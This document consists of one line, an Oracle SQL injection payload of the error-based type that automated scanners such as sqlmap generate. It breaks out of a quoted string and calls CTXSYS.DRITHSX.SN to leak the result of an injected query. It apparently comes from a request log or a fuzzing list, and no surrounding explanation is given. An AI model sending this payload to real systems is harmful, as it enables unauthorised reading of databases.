atestu\' AND 4647=CTXSYS.DRITHSX.SN(4647,(\'rCGDQUH4\'||(SELECT (CASE WHEN (4647=4647) THEN 1 ELSE 0 END) FROM DUAL)||\'rCGDQUH4\')) AND \'rCGDQUH4\'=\'rCGDQUH4